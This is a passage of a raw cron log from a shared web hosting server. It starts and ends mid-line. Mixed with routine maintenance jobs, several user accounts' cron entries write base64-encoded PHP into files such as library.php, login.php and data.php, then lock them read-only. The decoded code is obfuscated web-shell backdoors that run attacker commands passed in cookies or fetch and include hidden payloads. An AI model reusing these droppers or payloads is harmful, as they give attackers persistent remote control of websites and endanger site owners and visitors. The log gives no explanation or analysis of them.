7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:49:02 medusa CROND[28900]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:49:02 medusa CROND[28901]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:49:02 medusa CROND[28902]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:49:02 medusa CROND[28903]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:49:02 medusa CROND[28904]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:49:02 medusa CROND[28905]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:49:02 medusa CROND[28906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:49:02 medusa CROND[28907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:49:02 medusa CROND[28908]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:49:02 medusa CROND[28914]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:49:02 medusa CROND[28915]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:49:02 medusa CROND[28923]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:50:01 medusa CROND[20530]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:50:01 medusa CROND[20640]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:50:02 medusa CROND[20694]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:50:02 medusa CROND[20698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:50:02 medusa CROND[20697]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:50:02 medusa CROND[20695]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20701]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:50:02 medusa CROND[20702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20699]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 05:50:02 medusa CROND[20703]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:50:02 medusa CROND[20707]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20708]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:50:02 medusa CROND[20710]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:50:02 medusa CROND[20714]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20717]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 05:50:02 medusa CROND[20718]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20700]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 05:50:02 medusa CROND[20724]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:50:02 medusa CROND[20730]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20731]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:50:02 medusa CROND[20732]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:50:02 medusa CROND[20735]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:50:02 medusa CROND[20726]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:50:02 medusa CROND[20711]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:50:02 medusa CROND[20747]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:50:02 medusa CROND[20751]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:50:02 medusa CROND[20750]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:50:02 medusa CROND[20721]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 05:51:01 medusa CROND[12306]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:51:01 medusa CROND[12466]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 